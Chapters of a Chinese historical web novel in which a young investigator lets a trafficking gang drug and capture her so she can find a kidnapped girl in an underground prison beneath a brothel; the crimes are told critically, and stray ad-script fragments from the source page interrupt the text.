“你现在去质问你家邻居,才真的是打草惊蛇,你想要是余家派人四处寻找,一旦走露风声那你妹妹会怎么办?” 江桃现下什么都听不进去了,她没想到曲霜姿小小年纪,拽着她的力气却大得很,颗颗泪珠从脸颊滑落,“霜姿姑娘,我求你了,我妹妹是我唯一的家人了。” “你让我去求余肃,余肃肯定有办法,我答应你我不嫁他了,找到我妹妹后我就带着她离开盛京,永远不再打扰余家,我求你了。”江桃卑微地祈求着,曲霜姿不由得皱起眉头。 终于,忍无可忍,她使了巧劲儿一掌劈晕了女人。 她费了九牛二虎之力将江桃拖到安全的地方,这才疲累地松了口气。 曲霜姿立即动身向目的地进发,几乎是片刻不敢停歇。路过余家客栈时,她一眼就看到了焦急等待着的乐知。 “霜姿、霜姿!”少女激动道。 “别急,你先让余千帆派人把江桃带回余府,把人看好了,别让她有什么冲动之举。” 乐知忙逮了个小厮嘱咐,随后立刻把曲霜姿拉到一旁,“贺卫离府了。” 曲霜姿为了保险起见,一早就派乐知在暗中盯住贺卫,“去了何处?” “我没敢跟,但他去了那个方向。”乐知伸手一指,曲霜姿的心就跟着怦怦直跳,那个方向正是她所猜测的。 另一家青楼的所在。 曲霜姿咬牙,“走!” 少女语气自责,“都怪我,我要是之前胆子大些,多反抗反抗,也许就能知道自己被关在什么地方了。” 曲霜姿安抚性地拍拍她的肩膀,“这如何能怪你,狡兔尚且三窟,怎么可能让人轻易找到?” 乐知恹恹地没吭声,她回头看了客栈几眼,随后慌张地跟上曲霜姿,“我同你一起去,只是确定不再多带些人手吗?” “我们哪里有人手啊,傻姑娘。” 眼下情势不明,曲霜姿不敢轻举妄动,也确确实实没有能够放心使唤的人,这种事情,更不好麻烦余千帆。 “没事、没事,我们一起。”乐知跟在她身后,为自己打气。 秋夜是真的有几分寒意的,往这边的街上走着,街上的人也越来越少,街上的光也越来越昏暗。 二人不自觉地屏住呼吸。 这段路也好似长的没有尽头。 “到了。”曲霜姿猛得站定,面前是一间二层高的小楼,里里外外都灯火通明,直晃人眼睛。 “相思馆。”她看着牌匾喃喃道。 这条街上其他的店家都已经关闭了,独有这相思馆里亮如白昼,门口站着两个穿戴花红柳绿的丰腴女人四处张望,神色很是不耐烦,只有男人路过时才喜笑颜开地招揽吆喝。 曲霜姿担心被发现,拉着乐知隐蔽到黑暗中。 “咱们怎么进去啊?”乐知忧心忡忡地问,这里不同于温香楼,进进出出的人少不说,几乎全是男人,恐怕没那么好混进去。 “只能翻墙了。”曲霜姿绕到楼后,估摸着这墙的高度,她费些力气或许能上去,那乐知又如何进去呢? 她正思索着,却听见乐知小声惊呼的声音。 她顺着乐知的视线看过去,女孩儿皱着一张脸,“那是不是贺卫的马车啊?” 极为朴素的马车,看起来和街上租的没有什么区别。曲霜姿凑近瞧瞧,抚过马车上一道细细的划痕,她面色凝重道:“看来我们是找对了。” “你在外面等着,我先进去打探情况,要是我一个时辰还没出来,你就去找……”曲霜姿琢磨半晌,好不容易吐出一个人名,“找余肃叔叔。” 纵使她千般躲避,试图从此和男人一刀两断,但难敌她心里早就把男人视作为信任的家人。 “你找个地方藏起来,机灵些、定要注意安全。” 乐知咬着唇,目光中透出自责来,她要是身手矫健些多好,起码不用让曲霜姿一人深入“敌营”。 她无可奈何地应是,亦不放心地叮嘱:“你也要注意安全。” 看着乐知寻了个隐蔽的地方躲了起来,曲霜姿心安了几分,她轻轻呼出口气,仰头看向高墙,一鼓作气地往上攀。 “曲霜姿?”冷不丁传来一个女声,曲霜姿吓了一大跳,手都松了几分,险些掉下去。 曲霜姿粗喘几口气,皱眉回头看去,“林寻雁?” “你怎么在这儿?”二人遥遥相对,默契地同时开口。 一时间,她们哑口无言。 “你让我盯着贺卫,我看他低调地从后门而出,便一路跟了过来。” “我也差不多。”曲霜姿淡淡回答,答完后又继续努力往上攀,这墙不矮,又没有外物可以踩踏或是支撑。 少女努力将注意力全放在手上脚下,却还是不可避免地踩空了。 林寻雁慌忙上前托住她,二人险些一同栽倒,曲霜姿困难地稳住身形,感激道:“多谢林小姐。” “我和你一起进去。” 对上林寻雁在夜色中坚定的目光,曲霜姿难以拒绝。她曾见过林寻雁练剑、练武,虽然不过是三脚猫功夫,但若是二人合作,翻个墙还是没有问题的。 “好。” 曲霜姿爬上墙头,伸手把林寻雁拉了上来,等她们成功站在院子里时,二人都已经气喘吁吁。 这个时辰后院里没什么人,姑娘们该都是在楼里陪客,院里只有几盏灯亮着。二人正犹豫先去何处探寻,凑巧有一个女奴提灯经过,曲霜姿和林寻雁就暗地里跟了上去。 林寻雁很少做这样鬼祟、偷摸之事,不小心踩断一根枯枝,在寂静的夜里显得格外异常。 曲霜姿忙学了几声鸟叫,才打消了女奴的疑惑。 二人藏在屋子后窗处,曲霜姿侧耳仔细聆听里头的动静。 里头人声很低,但能轻易辨别出声音的不同。一男一女的声音中,曲霜姿敏锐地听出那男声正是最常上街的那个人牙子的声音。 “哎呦,这批货不行啊。”有个略带苍老的女人哀怨责怪道。 “已经是最好的了。”男人声音急切,带着些恳求的意味。 女人应该就是楼里管事的老鸨了,她啧啧几声,嘟嘟囔囔几句,最后突然惊喜道:“这个生得倒不错呀。” 她这声音又尖又细,扯得长得叫人听着难受,老鸨话音转变,“但是年纪有些小了,豆芽菜一样,我哪来的时间教啊。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你们不是最喜和温香楼做生意吗?不若卖到温香楼去。”女人阴阳怪气地开口,一句话不知拐了多少个弯儿。 “温香楼那群女人假清高,当了婊子还要立牌坊,怎么和咱相思阁相提并论啊,”人牙子讨好道:“最近缺货,你知道我们也难嘛,这样——价再低些。” “等下一批货来了,我们再给你分一成利。” “两成。” “好好好,您说了算。”男人为难半晌,狠心松了口。 “就是这个小的能接客吗?我们这儿可不养闲人呐,你把她嘴里的布拿出来,我问几句话。”老鸨不情不愿地使唤道。 接着是细碎的嘈杂声,半晌曲霜姿才听到那老鸨暴怒开口,还附带着清脆的巴掌声:“你个小妮子,小心把你我拉出去喂狗!” “别生气啊,这可是雏儿,很多老爷公子都喜欢给这种小花儿□□。” “那你最好把她驯服了再给我,这样烈的性子,真是不知天高地厚!”老鸨呸了一声,“再给我多搞些货来,最近阁里几个都死气沉沉的,连客人都留不住。” 女人气急败坏地说完就推门而出,曲霜姿身子僵住,但她还是努力保持冷静,尽量不动声色地挪了挪身子。 但屋里的声音还没停。 “我姐姐回来救我的!你们这些人真是恶心透顶,我就算是死也不可能乖乖听你们的话!” 女孩儿声音稚嫩,可意外的决绝。 曲霜姿在窗户上开了个小洞,眯起一只眼向里头看去,无需谁告诉她,她几乎是瞬间就认出了说话的是江桃的妹妹。 二人五官生得极为相像,只是江桃身体孱弱,而江梅则被姐姐照顾得很好,面色红润,满脸倔强与愤懑,犹如一只小野兽,下一刻就要扑上去咬人似的。 曲霜姿盯了会儿,确认了江梅的安全暂且不会受到威胁,心中巨石这才落下,她松了口气,扭头给林寻雁讲了这两日她与江桃的事情。 林寻雁听得专注,连连点头,“人没事儿就好,那我们要现在救人吗?” “不行,”曲霜姿警惕地观察四周,“我们要抓的、要救的都不仅仅是一个人。” “那接下来?” “先再楼里探查探查,形势不对咱们就走。” 她们没发现什么异常之处,只是撞上了刚刚那个老鸨在打骂姑娘。曲霜姿默默感慨,温香楼距此处有一段路程,楼里气氛也和此处相差十万八千里,更符合曲霜姿在话本中读到的那种形象。 半个多时辰过去,二人都没找到贺卫的影子,她想乐知等得肯定着急,如今已经接近半夜,她再不死心也得离开了。 “此地定有供他们暗度陈仓之处,只是藏得太深。” 林寻雁表示赞同。 二人翻出院子后,乐知就扑了上来,“如何?没遇上危险吧!” 曲霜姿看向贺卫马车停放的地方,那里已经空无一物了,她回神后摇了摇头,“有些收获,我也想到了引蛇出洞的法子。” “什么?”其余二人连忙发问。 “他们急需找新的目标,”曲霜姿嘴角勾起抹笑。接下来她所言之语让林寻雁和乐知都骇了一跳,“不知道我符不符合她们的条件?” 乐知率先出言阻止,“不行!太危险了!” 45. 货以稀为贵 曲霜姿许久没有这样被精心捯饬过,虽然看着头发杂乱、衣着破败,但是从头到脚都被林寻雁的侍女刻意装扮了一番。 这种古怪的精致感叫她浑身不自在。 临别前,乐知拉着她的手热泪盈眶,“霜姿,你要小心。” 曲霜姿安排好了一切,耐心地安慰了乐知几句,随后趁着天色未亮,披着晨曦孤身上了街。 她假装刚入盛京,没头没尾地在温香阁附近四处打转,祈求路边卖吃食的店家给她施舍些。 “去去去!” 不知道被驱赶了多少次,曲霜姿的肚子是真的饿了,她一直用余光留意着,看看有没有疑似人牙子的人出现。 这帮人还真是揣奸把猾,直到现在,曲霜姿都没能确定他们真正的藏身之处。 曲霜姿疲累地找了个巷子坐下来,趁着还没饿到头晕眼花整理思绪。出门之前,她就叮嘱乐知叫她去看好江桃,避免她情急之下打草惊蛇,林寻雁则派了个小厮暗中跟着他。 余千帆还不知道此事,若是他知道了肯定又要吓一跳,怪自己胆大包天了。 她正思索着,一时半会儿没想到什么有遗漏的地方,这才松了口气。 甫一抬头,一个身着黑衣男人、面容猥琐的男人就出现在她面前。曲霜姿吓了一跳,同时在表面上也装出了副受惊的胆怯模样。 “你、你是谁?” 男人扯了扯唇上的小胡子,笑得整个脸都皱在一起,“我是街角荤素从食店的老板,小姑娘,你怎么在这里坐着啊?” 曲霜姿刻意地瑟缩一下,尽量用可怜兮兮的语气道:“我父母俱亡,所以来盛京寻亲,可谁知亲戚装作不认识我,将我赶了出来。” 说着说着,眼眶就红了,珍珠一般的泪水跌落在地。 “真可怜呐,”男人啧啧感慨,“去我店里,我请你吃东西好不好?” “我……”曲霜姿警惕地缩了缩身子,看向男人眼神中却充满了矛盾的渴望。 适时的,她的肚子咕咕叫唤。 男人呵呵笑出了声,“别怕,叔叔是好人。叔叔店里有四色馒头、豆团、麻团、山药圆子、还有又大又香的肉包子,很多都没吃过吧。” 曲霜姿吞了口口水,在心里把这个令人作呕的男人骂了个底朝天,这犹犹豫豫地起了身,“多、多谢您。” 街角居然真的有一个店,店里食物虽没男人夸得那样琳琅满目,但也勾起了曲霜姿的口腹之欲。 不吃白不吃,曲霜姿盘算着要吃些什么,男人却不知从哪儿端出一碗水来叫她喝,“渴了吧,先喝些。” 水在白瓷碗中轻轻晃动,水底尽是白色的粉末。 曲霜姿在心里翻了个白眼,这人真是吝啬,甚至不愿意拿些吃食来哄骗她,就如此直截了当地想要给她下药。 傻子才会喝。 但她今天还非得上赶着当这个傻子,她强撑起欣喜的神色,捧起碗来大口大口地饮尽。 男人看她毫无戒心地喝着,得意忘形地坐到了一旁,和店里的伙计挤眉弄眼。 曲霜姿也不是真的傻,药粉还未来得及完全化开,她只喝几口,剩下的全都半真半假地倒了出去。 她将饮尽的碗明晃晃地摆在桌上,男人喜笑颜开地走过来,试探性地问:“那你想吃什么?” 表面上是询问,其实一直在打量她的神色。 这是巴不得她快点晕,小气。 曲霜姿尝出水味道的那一刻,她才辨认出这药粉是什么,这药效很猛,男人给她下药的剂量足以药到一头牛。 就算她实际上并没有喝多少,此时此刻也有些晕晕乎乎的。 她索性顺势摇晃了一会儿,随后一头栽了下去。 男人更加猖狂地笑了起来,笑得曲霜姿头皮发麻,几乎想要立即跳起来揍他一拳。 曲霜姿任由男人抚摸她的脸颊,在她身上搜刮,“哎呦,这姑娘定能卖个好价钱,王娇那婆娘可要高兴坏了。” 说着说着他语气突然惋惜起来,“哎呀,要不是咱和温香楼闹掰了,否则就能卖更多的钱了。” “行了,温香楼现在是没有证据,要是把咱们给告发了可就麻烦了。”店里伙计模样的男人也开口了,说话语气里携带着自然的命令。 曲霜姿很快意识到,这人在这群人牙子里的身份必不简单。 “带人抓麻袋走后门出去,关地牢,小心别被人看见了。”男人继续指示道:“先别交给王娇,货以稀为贵,涨价知道吗?” “是是是。” “再让老三把人调查调查,以免后患。” “哎。”男人应了一声就忙活起来,把曲霜姿装到麻袋里扛了起来。 曲霜姿此时胃里翻江倒海、痛苦难耐,她强忍着僵直着身子,不让自己发出任何声音。 麻袋做工粗糙,底下有个微小的洞,曲霜姿打起精神往外瞧。 只见男人从后门绕到一条人迹罕至是小道,随后径直往前并未停歇,一直到了曲霜姿又能听见叫卖声的地方才拐了个弯儿。 想来,应该就是进了相思阁。 又走了一会儿,曲霜姿的意识已然模糊,恍惚间她听到了开门的声音,还有什么东西吱呀吱呀的叫唤,随后是涉阶而下的沉重声音,空气都变得阴湿难闻。 不知继续走了多久,似乎过了好几扇门,光线明明暗暗变化多端。 男人突然停下,不知道骂了几句什么,随后给她解开麻袋离开了,曲霜姿掀开沉重的眼皮,模模糊糊地看见几个人影。 好像是在看她。 周围很暗,比沈无逆关她的柴房还要暗。 近乎伸手不见五指。 一种茫然的恐惧涌上心头,空荡荡的黑暗犹如洪水猛兽,仿佛下一刻就要吞噬掉她一般。她下意识缩了缩身子,伸手摸上原本应该在怀中的匕首。 她的长绝。 怀里硬邦邦的匕首让她恢复几分意识,她用尽最后的力气咬破嘴唇,甜腥味叫她清醒了一点儿,但是还不够。 曲霜姿将手伸进衣服最里层,哆嗦着掏出把匕首。 她顾不得旁的,紧紧捏住刀刃,她感受到刀刃的冰冷深入血肉,耳边似有女人的惊呼声。 疼痛使她面目狰狞,但也让彻底清醒了过来,她缓缓抬眼,依稀辨认着环境。 这有七八个女子,面上神色或惊讶或恐惧,但更多的是一种麻木。 曲霜姿环视一圈,看到了江梅。 她松了口气,瘫软倒地大口喘息。 匕首从她手中脱落,在一片寂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 静中发出清脆的响声。 不是她阿娘留给她的长绝。 曲霜姿无声叹息,在原地缓了许久,她重新撑起身子坐了起来。手心还在流血,染红了她一大片的衣裳,她随便扯了块布,把伤口包裹住,眼不见心不烦。 做完这一切,她发现那些女子已经对她失去了兴趣,不再看她了,但仍有一道视线还落在她身上。 是江梅。 曲霜姿嘴角勾起抹笑容,她踉跄地起身,迎着女孩儿的目光一步步走了过去。 女孩儿见她走进,有些警惕,“你要做什么?” 她的手还在往下滴血,惹得江梅只敢看她的脸。 曲霜姿看向江梅旁边的女子,“劳驾,让我坐在这里。”她一屁股坐下来,江梅莫名其妙地看着她,没忍住往一旁又挪了挪。 “你和你姐姐长得很像,性格也有一点像。” 只是江桃更像是一只妩媚“温顺”的狐狸,而江梅更像是一只小狼犬,曲霜姿欣赏她的勇敢和直率,觉得她和自己也有几分相像,故而也多了几分亲切之感。 江梅一听,眼睛顿时亮起光来,她迅速坐回来,甚至和曲霜姿挨得更近了些。她激动开口,差点破了音,“你认识我姐姐!?” “你姐姐让我来找你的。”曲霜姿眯眼笑道。 江梅看她灰头土脸、半身污血的模样,眼神中流露出质疑:“所以你就被绑进来了?我姐姐就打算这么救我啊……” 曲霜姿被她逗笑,但很快正色,“那同我讲讲,你是怎么来的?” “一觉睡醒就在这儿了。”江梅耸了耸肩。 曲霜姿了然地点点头,一个成年男人趁着女孩儿睡着后将人绑走,也真是阴险至极,“行,你姐姐让我就你,我就一定救你出去,但是你得听我的怎么样?” “你很厉害吗?”江梅皱眉问,语气显然是不信任的。 “大理寺的,”曲霜姿压低声音,“我不光要救你,还要把这里的人都救出去,把那些坏人都抓了,怎么样?” 江梅愣了愣,旋即才神色古怪地点点头,“你要怎么救?” 曲霜姿细细琢磨过了,这里是地下一个的密室,不是在相思阁后院就是在相思阁附近。那人牙子将她抓来是为了把她卖给那个名为王娇的老鸨,既然如此就一定还会带她出去。 “他们有没有逼迫你做不想做的事情,有没有人欺负你?” “被绑来的哪个不挨打?”江梅被勾起不好的回忆,不悦地撅撅嘴,“你还是快说怎么救我出去吧。” “你来这儿之后出去过几次?”既然如此,曲霜姿也就不废话了。 “就一次。” “那你有没有看到或者听到什么——关于这群人牙子的事儿?有没有听过贺卫这个名字?” 江梅不情愿地想了会儿,“他们提过一次这个名字,但是没说什么,只说这个人还有他们老大都来了,然后带我上去的那个人就出去了一趟……” 曲霜姿正要再问些细节,不知从哪里挤进来刺眼的光,把空气中的尘埃挤到了曲霜姿的眼睛里,她下意识紧紧阖眸。 来人身量极高,和抓她进来的不是同一个,他缓缓走来负手而立,面无表情地环视了一圈,随后瞬间锁定了曲霜姿,“很生龙活虎啊。” 46. 出门踩狗屎 “看来是个聪明的,”男人一把扯住曲霜姿的衣领,将人捞了起来,他毫不怜香惜玉地拍拍少女的脸,“可别聪明反被聪明误了,女儿家的这可不是好事。” 男人很快注意到她身上的血迹,冷哼一声,在她伤口上狠狠一扭,曲霜姿没忍住发出闷哼。 他用布遮住曲霜姿的眼睛,拽着她走。曲霜姿努力想要辨认方向,却实在无能为力,她只知道男人并不是从上面下来的,现下也不是要带她出去。 “辛苦二爷了。” 有人来迎,听声音就是绑曲霜姿的那个。 “以后办事利索些,把人收拾干净了,送到那位府上。” 那位?曲霜姿敏锐地捕捉到这个词,那位是谁?另一个男人也十分诧异,“送给那位?那位如今都不愿帮咱们,还给他送人过去!?” “动动你的猪脑子,想想他背后是何人!未来咱们还是一条绳上的蚂蚱,别贪心于一时的利益。” “奥奥,懂了,这个叫作凡事留一线,他日好相见。那要是贺大人不要怎么办?” “不要你把人放了。” “啊?” 曲霜姿心里也无语了,这男的真是猪脑子,明显的反话都听不出来。果然下一刻,那厮就挨了一脚,发出猪一般的惨叫,“错了、错了。” 但男人拉着曲霜姿走了几步,又突然回头低声下气道:“二爷,三爷还没查清此女身份来历呢,要不先等等?” 被叫作二爷的男人瞬间怒了,气急败坏地对他又打又骂。 曲霜姿居然都被晾在了一边。 她在心里默默嘀咕,荤素从食店里的老伙计确实提过什么“老三”,那这人估计就是管事的老二。看二爷这态度,他们这个团伙内部居然还有着分歧。 曲霜姿啧啧称奇,那个老伙计有什么身份啊? 但当那二爷冷静下来后,或许是实在不想忤逆那个老伙计的意思,居然妥协了,“先给她收拾收拾吧。” 曲霜姿松了口气,如果被送到贺卫面前,那她就立刻穿帮了,也许还会被杀人灭口。 猪脑袋把她领到一间房内,叫了几个小厮打水,曲霜姿只听见哗哗的水流声,便假装十分害怕地向猪脑袋套话,“这位爷,您是要把我卖到哪里去?” 她声音夹带着哭腔,将平时的气焰收得一干二净,听起来楚楚可怜。 猪脑袋受了气,不想和她废话。 曲霜姿索性给他个甜枣,让他骄傲骄傲,“大哥、老板、爷,眼下小女子的命运就掌握在您的手中,我也已经认命,只是求您不要把我卖给青楼,不要杀我,我会听话的。” 她一边哭一边求情,男人这才多看了她两眼。曲霜姿哭得卖力,脸颊处浮起红晕,像朵平日里不得亵玩的莲,如今落到淤泥里去,终于放下了身姿,将自己的美丽尽情展现给男人看。 男人咳了两声,有些怜香惜玉地小声道:“别哭了,嗓子哭坏了就把你杀了。” 曲霜姿即刻噤声,只不时抽噎两声。 不知猪脑子突然开了窍,觉得他们同是天涯沦落人,活得都惨兮兮的,他叹了口气:“放心吧,老鸨不知道咱们多了新货,我们二爷说要送你去享福。” 是享福吗?曲霜姿想起那日溜进贺府所见情形,几个姑娘都是形销骨立、神情哀戚。她随便问了个姑娘,得知贺卫其实并不多爱美人,她的宠爱来得快、去得也快,遭到冷落过的女子就在府中自生自灭。 偏生贺卫的夫人是个性子刚烈的,人前和蔼大方,背地里对这些个姑娘动辄又打又骂,挨几顿饿是好的,没被一盏毒茶送走已经是万幸了。 曲霜姿心疼她们,特意叮嘱了不要暴露自己的行踪,待她揭发贺卫,就救她们出来。 而贺卫那边这两日也没什么动静,想必是真不知道。 水已备好,猪脑子推了曲霜姿一把,“衣服脱了,我帮你洗澡。” 曲霜姿瞬间头皮发麻,这人虽是个好糊弄的,但绝对不是个善类,她强扯起笑容,“爷,我自己洗吧,我也跑不了啊。” 猪脑子看了她两眼,即使曲霜姿现在眼睛看不见,也能感受到男人眼里的不满。 曲霜姿心一沉,顺从地开始脱衣服。 不过皮肉而已,被看见了就被看见了,要是眼下露出破绽,那才是得不偿失,反正这猪脑子也活不了多久了。 她如此想着,手上动作也加快。 就在这时,不远处有人说话,似乎是对猪脑子说的,“飞哥,三爷找。” 男人挥了挥手,“罢了罢了,你自个儿洗吧,洗好后换那边的干净衣裳,把自己个儿收拾得好看些。” 曲霜姿松了口气。 这就同出门踩上狗屎是一个道理,狗屎沾身也没什么恶劣的影响,无非是恶心些,但出门在外,还不得留意着些吗? 猪脑袋再回来的时候,曲霜姿已经自行扯下遮眼的红布,将自己收拾得干干净净了。 不再有灰尘和杂乱的发丝遮挡,曲霜姿一张脸彻底显露出来,她皮肤白皙,一双眼睛亮得出奇,红唇紧张地抿成一条线。 男人看呆了,说话都有点结巴了,“把红布戴上,三爷要见你。” 曲霜姿眨巴眨巴眼睛,“说要查我身世吗?我原已经告诉你们了,我一个弱女子都到了你们手上,你们却还不信我。” 她有些委屈地揩泪,“就算我是骗你们的,又能怎样呢?” 猪脑袋也是这么想的,但上面要查他也没办法,“就是画一张像,画好了出去打听打听罢了。” 曲霜姿反应极快,眼里透出欣喜的光。 猪脑袋这下脑子灵光了,但也是恰巧掉进了曲霜姿的陷阱里,“你是不是想要是你亲戚看到你的画像,就会来救你?” 说了几句,他骂骂咧咧地出去了。 再回来也绝口不提要带她画像的事儿了。 曲霜姿对这群人的心思摸得很透彻,他们原来是专挑调查好了的下手,但若是先抓后查,那可就容易适得其反。 横竖人现在在他们手里,插翅难飞,查不查也无所谓。 没得到下一步的指令,猪脑袋只好在这个房间里盯着曲霜姿,男人心情似乎是不佳,曲霜姿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几番套话都没有结果。 曲霜姿只好兀自打量起屋内陈设来。严格来说,这里算不上是一个屋子,顶多是一个有门的洞,洞里也没有类似窗子的地方,就靠几支烛火照明。 她猜想,这是在相思阁的地下。 也许两边的交易,就是人牙子给相思阁提供女子,相思阁则为他们提供庇护之所。 那城东又和他们有什么关系? 曲霜姿百思不得其解,她正想着,门外突然传来争吵的声音,她连忙竖起耳朵。 “那人现在怎么办?”声音听起来像是那个二爷,他们是在谈论曲霜姿的事情。 “王娇这里也极需人,她为咱们提供这么个地方,你就这么心安理得?” “她提供的地方?这里原本就那么一丁点儿大,哪里能容纳下这么多的弟兄和奴隶,还不是咱们耗费人力物力折腾出来的么?”二爷声音一句比一句高,“大不了咱们就从京城撤走,反正现在那些大人物也不想惹祸上身,还不如一走了之,总比现在强!” 争吵声逐渐变成了斗殴声。 “你就把那几个女的给王娇啊!” “要是贺卫再不帮咱们,咱们该如何是好!?” “我早就看你不顺眼了!要不是老大赏识你,轮得到你在这里指手画脚?” 外头的声音太嘈杂,还有很多人劝架,曲霜姿辨别不出这话是谁说的,只能尽量多听几句。 一旁的猪脑袋坐不住了,也冲出去阻拦,换了一个年轻的男人进来,年轻得几乎算是个少年。曲霜姿好奇地看他,“你不去劝架吗?放心吧我不跑,我又不知道这是何处,跑也跑不出去不是?” “拦又拦不住不是?”少年面色凝重,嘴上却轻快地学着曲霜姿的语气说话,“而且我觉得,你该知道这里是哪里。” 曲霜姿愣住,“什么?怎么可能?”她装出苦笑来,眼眶再次湿润,但就在她的眼泪要被挤出来之前,少年突然伸手把她擦去了。 “外面打架的是二爷、三爷,他们天天吵架。”少年顿了顿,“我是他们口中的四爷。” 曲霜姿一听,顿时更加警觉,她语气无辜柔柔开口:“原来是四爷,是我有眼不识泰山,但小女子是真的不会跑的。” “最近很难从外头送奴隶进来,他们就在盛京城里大肆寻找,也许会有人口失踪的案子报到大理寺去,但也许也没有。” “他们不会轻易被发现的。” 少年说到“大理寺”三个字的时候,有意无意地看了她一眼,看得曲霜姿心惊肉跳,幸而这少年表面看着温文尔雅,甚至有股书卷气,所以曲霜姿才勉强立住身形。 “小女子听不懂。”她颤声开口。 少年又深深看了她一眼,眼里露出无奈来,他嘴角噙着真正的苦笑,半晌都没有开口。 曲霜姿听着外面的声音逐渐平息,又突然听见外面齐齐喊了声什么,气压瞬间低了下来,连着曲霜姿这边都不由得紧张几分。 然而就是这个表面上人畜无害的少年,在此时轻轻开口。 “曲霜姿,我认得你。” 47. 藏污纳垢地 曲霜姿只觉手脚都变得冰凉,强撑着笑,“四爷,是不是认错人啊,我前几日刚到盛京的。”她一个字一个字地往外蹦,费力思索着接下来该怎么样。 “你蹲守我们很久了,我也调查过你,你放心,他们不知道,”少年声音像是秋风,带着几分入骨的凉意,却也轻柔,“你可以叫我长风。” “你,到底是什么人?”曲霜姿收起笑容,沉声质问,“你这么做是为了什么?” “我父亲曾经是他们的老大,但是我刚生下来没多久,我的父母就都被朝廷抓去砍了头。”长风话音平静,听不出喜怒。 曲霜姿缄默不发,警惕地听着,一只手已经摸到了袖子里的匕首。 “但我觉得,那是他们活该,我一出生就被奉为他们的‘四爷’,简直是恶心透顶。”他脸上露出嫌恶的神色。 “他们是没有情感,追逐利益的一群野兽,我做梦都不想同他们为伍。” “如果可以,请你毁了这里。” 长风抬眸,目光灼灼不像有假,他从怀里掏出一张图卷递给曲霜姿,并伸出食指敲了敲。曲霜姿犹豫一瞬,还是在看清图卷的那一刻,果断收入了袖中。 那是这里的地图。 她不解地看向长风,正要开口,却发觉外头的动静变小了。曲霜姿稍稍敛声,不过须臾,猪脑袋推门而入,“四爷,辛苦您了。” 少年眸光微寒,皮笑肉不笑道:“不辛苦,我先走了,这次的货是好货,别伤着了。” “是!” 曲霜姿又重新装出弱不禁风的模样,轻轻唤了一声:“爷。” “你还是叫我飞哥吧,”猪脑袋叹了口气,“把红布戴上,我送你回去。” “回去?” “回刚刚关你的地方,晚上自会有人带你出去。” 曲霜姿忍着嫌弃牵住男人的衣角,“飞哥,那里很黑,我害怕。” 男人不耐烦,但也对她的乖顺很是满意,一会儿给你们点个烛火。 “谢谢飞哥。” 曲霜姿的瞬时记忆极好,她虽蒙着红布看不见路,但也勉强将走的每一段路和图上对应起来。 走到一处时,她停顿半晌、靠在墙上侧耳倾听。确实有密集、细微的人声,图上画的没有问题,她松了口气,心中对长风更是疑惑。 飞哥只当她是累了,催促道:“快些,马上就到了。” “飞哥,我要是想方便该怎么办?”曲霜姿怯懦着支支吾吾道。 “你们那儿有方便的地方。” 曲霜姿回忆了一下,好像似乎确实有个地方传来阵阵恶臭,但那也只是一个地方而已,完全没有任何遮挡物。 “那要是饿了、渴了……” 说着,二人就到了。飞哥推了她一把,“快点,你的话,会有人送吃食的。” “我的话?”曲霜姿重复一遍他说的话。 “自然,什么档次的人就该吃什么样的饭。”飞哥冷笑几声,催促道:“话不要太多,否则把你舌头割了,盛京有些大人可就喜欢玩哑奴。” 曲霜姿悻悻收了声,然而此时她还没感觉到这档次区分的差别有多大。 直到吃食送来。 曲霜姿的饭是用盘子装着盛上来的,江梅的亦是,只是她的盘子里要比江梅多些肉,甚至还有半颗鸡蛋,她将一大半的肉还有鸡蛋都拨给了江梅,“好好吃,吃饱了才有力气跑。” 紧接着,她向四周环绕,旁的几个女子就只有馒头和菜,更有甚者,只有一个脏兮兮的馒头似的玩意儿,看着又臭又硬。 曲霜姿吃了几口就没心思吃了,剩下一大半放在地上,很快就有几个女子扑上来抢食,像是未开化的野狗。 她是要送给贺大人的,要吃好些。江梅是要给相思阁挣大钱的,也要吃好些,另几个饭菜尚且能看的女子,也都是曲霜姿那天在相思阁院里的屋子里看到的。 而剩下的,便是丑的、傻的、残的。 必须快些行动了。 在这底下待得太久,谁都会疯的。 曲霜姿在微弱的烛火下拿出地图仔细察看,他们所处的位置算是位于中间,在后边一些关着的都是男奴,再往后就是存放杂物的。 图上画的并不清楚,曲霜姿猜,变数就在那里。 往外面些,是供人牙子们休息的,而曲霜姿刚刚换衣服的地方也离那儿不远。如果这张地图没被验证之处也是真的的话,那么这下面的绝大部分都是新挖新建的,面积要比上头的相思阁还要大。 盛京的地底下,居然还有这种藏污纳垢之地。 曲霜姿攥紧眉头,她扭头问缩在一旁休息的江梅,“小梅,他们一天给你们送几顿饭啊。” “两顿吧,她们说有时候是一顿。” “那下一次应该是什么时候?” “我不知道时辰,也不知道刚刚吃的是午饭还是晚饭。”女孩儿无奈叹气。 曲霜姿心疼地摸摸她的头,“午饭,我来的时候是早上。” “那应该……”江梅想了一会儿,“应该三个时辰吧。” “好,我知道了,”曲霜姿咬了咬唇,“那他们有没有说什么时候带你出去?” “明日吧。” 时间当真是刻不容缓,她同林寻雁约好,要是两天内她还没消息的话,就带人来找,眼下怕是等不到那个时候了。 曲霜姿点点头,她长长呼出一口气,最后叮嘱道:“最迟明日就会生变数,有危险你就往外跑,让这里的大家都跑。” 江梅猛得瞪大眼睛,“你要做什么?” “秘密,”曲霜姿神秘地笑了笑,“注意安全。” 她找了拾了根用过的短木棒,引火点燃,随后辨别好方向,在墙上一寸一寸地摸过去,终于摸到了个机关,机关咯吱响了一声,掩在后头的门就显现出来。 没想到一个略卖人口的组织,竟还有人懂得机关密术,当真是不简单。 那门十分老旧,曲霜姿感觉自己一脚就能把门踹开,但若是制造的动静太大恐会引那群人怀疑。长风若是真的想帮她,那这门就必然有其他破开的方式。 曲霜姿上上下下将门摸过一遍,终于在最底下摸到一块儿凸起,她用脚抵住那处,门立马松动了。 又是机关,曲霜姿皱了皱眉。 她举着火把,侧身钻了进去。 甬道很矮很窄,和她之前去过的地方都截然不同,想来是没有时间开辟规整了,索性就让那群男奴住在里面。 里头逼仄得叫人无法呼吸,曲霜姿好不容易走到开阔的地方,一阵恶臭扑到她鼻子里。 约摸有四五个男奴,戒备地瞪着眼睛看她,曲霜姿示好道:“我来救你们出去,但你们需再忍耐片刻,任何人问起都说没见过我。” 